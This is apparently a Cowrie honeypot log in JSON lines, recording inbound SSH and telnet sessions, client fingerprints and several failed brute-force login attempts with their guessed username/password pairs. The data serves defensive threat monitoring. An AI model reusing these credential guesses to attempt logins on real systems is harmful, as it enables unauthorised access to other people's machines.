{"eventid":"cowrie.session.closed","duration":11.338603258132935,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:05.388198Z","src_ip":"134.209.8.29","session":"ced63a9c7f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:06.340941Z","src_ip":"176.65.132.254","session":"e6e4b00c2bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51516,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c8e18ad00d","protocol":"telnet","message":"New connection: 165.232.131.181:51516 (10.17.0.5:23) [session: 33c8e18ad00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:06.364326Z"}
{"eventid":"cowrie.session.closed","duration":49.13105344772339,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:06.414744Z","src_ip":"65.60.27.33","session":"e17bd3d6ae58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.1832895278930664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:06.547452Z","src_ip":"165.232.131.181","session":"33c8e18ad00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.538408517837524,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:06.780111Z","src_ip":"165.232.131.181","session":"e275ddd0e12c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.512322664260864,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:07.824879Z","src_ip":"62.210.97.77","session":"b5a80502fd84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f5be7363592","protocol":"ssh","message":"New connection: 103.189.235.176:33284 (159.203.135.109:22) [session: 9f5be7363592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.409596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.414111Z","src_ip":"103.189.235.176","session":"9f5be7363592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.648790Z","src_ip":"103.189.235.176","session":"9f5be7363592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.40509366989136,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.670432Z","src_ip":"165.232.131.181","session":"b5efdf10a6ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48282,"dst_ip":"10.17.0.5","dst_port":22,"session":"da4817d28a5f","protocol":"ssh","message":"New connection: 176.65.132.254:48282 (10.17.0.5:22) [session: da4817d28a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.758736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.763473Z","src_ip":"176.65.132.254","session":"da4817d28a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:08.853660Z","src_ip":"176.65.132.254","session":"da4817d28a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37732,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d03ae2d4158","protocol":"telnet","message":"New connection: 62.210.97.77:37732 (10.17.0.5:23) [session: 1d03ae2d4158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.012268Z"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.108757Z","src_ip":"176.65.132.254","session":"da4817d28a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.508607387542725,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.563524Z","src_ip":"134.209.8.29","session":"0b515a5f478b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b533e193e8b","protocol":"telnet","message":"New connection: 65.60.27.33:44538 (10.17.0.5:23) [session: 2b533e193e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.600335Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin69","message":"login attempt [root/admin69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.610769Z","src_ip":"103.189.235.176","session":"9f5be7363592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.51875329017639,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:09.884673Z","src_ip":"62.210.97.77","session":"1c7b5c3085bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:10.192828Z","src_ip":"176.65.132.254","session":"da4817d28a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:10.847126Z","src_ip":"103.189.235.176","session":"9f5be7363592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29714894294739,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:11.125744Z","src_ip":"62.210.97.77","session":"fd2ea76c785c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.223607301712036,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:12.019458Z","src_ip":"65.60.27.33","session":"6df7fec34017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42318,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff56a720b19","protocol":"ssh","message":"New connection: 176.65.132.254:42318 (10.17.0.5:22) [session: 7ff56a720b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:12.868849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:12.874811Z","src_ip":"176.65.132.254","session":"7ff56a720b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:12.961620Z","src_ip":"176.65.132.254","session":"7ff56a720b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:13.208960Z","src_ip":"176.65.132.254","session":"7ff56a720b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1105,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb0d7a0f83c","protocol":"ssh","message":"New connection: 190.129.122.12:1105 (10.17.0.5:22) [session: dcb0d7a0f83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:14.277229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:14.281993Z","src_ip":"190.129.122.12","session":"dcb0d7a0f83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:14.294976Z","src_ip":"176.65.132.254","session":"7ff56a720b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:14.453927Z","src_ip":"190.129.122.12","session":"dcb0d7a0f83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50724,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7de7542e2b0","protocol":"telnet","message":"New connection: 65.60.27.33:50724 (10.17.0.5:23) [session: e7de7542e2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:15.133584Z"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test","message":"login attempt [newuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:15.173826Z","src_ip":"190.129.122.12","session":"dcb0d7a0f83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37742,"dst_ip":"10.17.0.5","dst_port":23,"session":"05179cdace14","protocol":"telnet","message":"New connection: 62.210.97.77:37742 (10.17.0.5:23) [session: 05179cdace14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:15.637442Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37754,"dst_ip":"10.17.0.5","dst_port":23,"session":"99a5d1e81f14","protocol":"telnet","message":"New connection: 62.210.97.77:37754 (10.17.0.5:23) [session: 99a5d1e81f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:15.874065Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.348789Z","src_ip":"190.129.122.12","session":"dcb0d7a0f83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.838102102279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.406526Z","src_ip":"62.210.97.77","session":"d62e76b0b8c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42344,"dst_ip":"10.17.0.5","dst_port":22,"session":"5200f130a796","protocol":"ssh","message":"New connection: 176.65.132.254:42344 (10.17.0.5:22) [session: 5200f130a796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.808276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.813624Z","src_ip":"176.65.132.254","session":"5200f130a796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0ef2f97b87","protocol":"telnet","message":"New connection: 65.60.27.33:52366 (10.17.0.5:23) [session: 8f0ef2f97b87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.890047Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:16.895618Z","src_ip":"176.65.132.254","session":"5200f130a796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:17.147449Z","src_ip":"176.65.132.254","session":"5200f130a796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54408,"dst_ip":"10.17.0.5","dst_port":23,"session":"4185cdb3fe91","protocol":"telnet","message":"New connection: 65.60.27.33:54408 (10.17.0.5:23) [session: 4185cdb3fe91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:18.460232Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:18.588681Z","src_ip":"176.65.132.254","session":"5200f130a796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60274,"dst_ip":"10.17.0.5","dst_port":23,"session":"983e682d2c50","protocol":"telnet","message":"New connection: 62.210.97.77:60274 (10.17.0.5:23) [session: 983e682d2c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:18.639259Z"}
{"eventid":"cowrie.session.closed","duration":32.55322599411011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:19.110445Z","src_ip":"62.210.97.77","session":"e8c3e6ed6194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.20932984352112,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:19.550925Z","src_ip":"62.210.97.77","session":"5b81f1920919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.61022233963013,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:20.235846Z","src_ip":"65.60.27.33","session":"6418785afd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2280571460723877,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:20.688205Z","src_ip":"65.60.27.33","session":"4185cdb3fe91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42360,"dst_ip":"10.17.0.5","dst_port":22,"session":"9188beea711d","protocol":"ssh","message":"New connection: 176.65.132.254:42360 (10.17.0.5:22) [session: 9188beea711d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:20.747613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:20.800014Z","src_ip":"176.65.132.254","session":"9188beea711d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:20.987461Z","src_ip":"176.65.132.254","session":"9188beea711d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:21.339189Z","src_ip":"176.65.132.254","session":"9188beea711d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.68427896499634,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:23:21.355470Z","src_ip":"165.232.131.181","session":"31aefabeb4da","protocol":"telnet"}
